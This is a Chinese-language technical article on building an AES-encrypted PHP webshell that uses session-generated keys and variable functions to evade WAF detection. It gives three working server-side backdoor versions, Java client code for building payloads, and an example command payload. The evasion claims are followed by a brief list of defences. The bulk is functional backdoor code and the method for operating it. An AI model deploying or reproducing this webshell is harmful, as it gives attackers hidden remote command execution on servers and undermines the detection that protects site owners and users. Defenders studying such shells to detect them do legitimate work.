利用动态二进制加密实现新型一句话木马之PHP篇
字数 1346 2025-08-27 12:33:31
利用动态二进制加密实现新型PHP一句话木马技术详解
一、技术概述
本技术通过动态二进制加密方式实现了一种新型PHP一句话木马,能够有效绕过WAF和其他网络防火墙的检测。核心思想是通过加密传输二进制流,在服务端解密执行,从而避免传统一句话木马的特征被检测到。
技术特点:
- 采用AES128加密通信内容
- 使用会话(Session)机制动态生成密钥
- 利用PHP可变函数特性执行代码
- 纯二进制流量传输,无明文特征
- 支持参数化Payload设计
二、服务端实现
基础版本代码
<?php
session_start();
if (isset($_GET['pass'])) {
$key = substr(md5(uniqid(rand())), 16);
$_SESSION['k'] = $key;
print $key;
} else {
$key = $_SESSION['k'];
$decrptContent = openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
$arr = explode('|', $decrptContent);
$func = $arr[0];
$params = $arr[1];
$func($params);
}
?>
精简版本1
<?php
session_start();
isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&$b[0]($b[1]);
?>
精简版本2
<?php
session_start();
isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&call_user_func($b[0],$b[1]);
?>
工作原理
-
握手阶段:
- 客户端以GET方式发起带密码的请求(如
?pass=xxx) - 服务端生成16位随机密钥(基于MD5(uniqid(rand()))的子串)
- 密钥存入Session并返回给客户端
- 客户端以GET方式发起带密码的请求(如
-
执行阶段:
- 客户端将代码(如
assert|eval("phpinfo();"))用AES加密后发送 - 服务端从Session获取密钥,解密接收到的数据
- 用
|分割解密后的字符串,得到函数名和参数 - 通过可变函数或
call_user_func执行代码
- 客户端将代码(如
关键技术点
- PHP可变函数:
$func($params)形式,其中$func是变量存储的函数名 - 二进制流读取:
file_get_contents("php://input")获取原始POST数据 - AES加密:
openssl_decrypt函数实现解密 - 会话管理:
session_start()和$_SESSION保持密钥
三、客户端实现
核心流程
-
获取加密密钥:
- 发送GET请求获取动态密钥
- 密钥用于后续通信加密
-
生成Payload:
- 格式约定:
function main(arg1...argN){} main(arg1...argN); - 示例:
function main(cmd) { echo system(cmd); } main('whoami');
- 格式约定:
-
参数化处理:
- 自动填充参数到Payload中
- 生成形如
assert|eval(...)的字符串
-
加密传输:
- 将Payload字符串转换为字节流
- 使用AES加密后发送
关键Java代码
public static byte[] getParamedPhp(String clsName, final Map<String, String> params) throws Exception {
String basePath = "net/rebeyond/behinder/payload/php/";
String payloadPath = basePath + clsName + ".php";
StringBuilder code = new StringBuilder();
// 读取Payload模板文件
ByteArrayInputStream bis = new ByteArrayInputStream(Utils.getResourceData(payloadPath));
ByteArrayOutputStream bos = new ByteArrayOutputStream();
int b;
while (-1 != (b = bis.read())) bos.write(b);
bis.close();
code.append(bos.toString());
// 参数处理
String paraList = "";
for (String paraName : params.keySet()) {
String paraValue = params.get(paraName);
code.append(String.format("$%s=\"%s\";", paraName, paraValue));
paraList += ",$" + paraName;
}
paraList = paraList.replaceFirst(",", "");
// 添加main函数调用
code.append("\r\nmain(" + paraList + ");");
return code.toString().getBytes();
}
四、技术优势
-
绕过检测:
- 传统一句话木马:
<?php @eval($_POST['caidao']);?>容易被WAF识别 - 本技术:无固定特征,通信内容加密
- 传统一句话木马:
-
动态密钥:
- 每次连接生成新密钥
- 防止密钥被破解
-
灵活执行:
- 支持多种函数调用方式
- 可扩展性强
五、防御建议
-
服务器防护:
- 禁用危险函数:
eval,assert,system,exec等 - 限制
php://input的使用 - 监控Session异常使用
- 禁用危险函数:
-
流量检测:
- 识别异常的AES加密流量模式
- 检测握手阶段的特定GET请求
-
文件监控:
- 检查可疑的PHP文件内容
- 特别关注包含
session_start和openssl_decrypt组合的文件
六、总结
本技术通过动态二进制加密和PHP可变函数特性,实现了一种高隐蔽性的一句话木马。其核心在于:
- 加密通信内容绕过流量检测
- 动态密钥防止固定特征识别
- 灵活的参数化Payload设计
- 多种精简变形版本适应不同环境
理解这种技术的实现原理,有助于开发更有效的防御措施,同时也能提高安全人员对新型攻击手段的认知。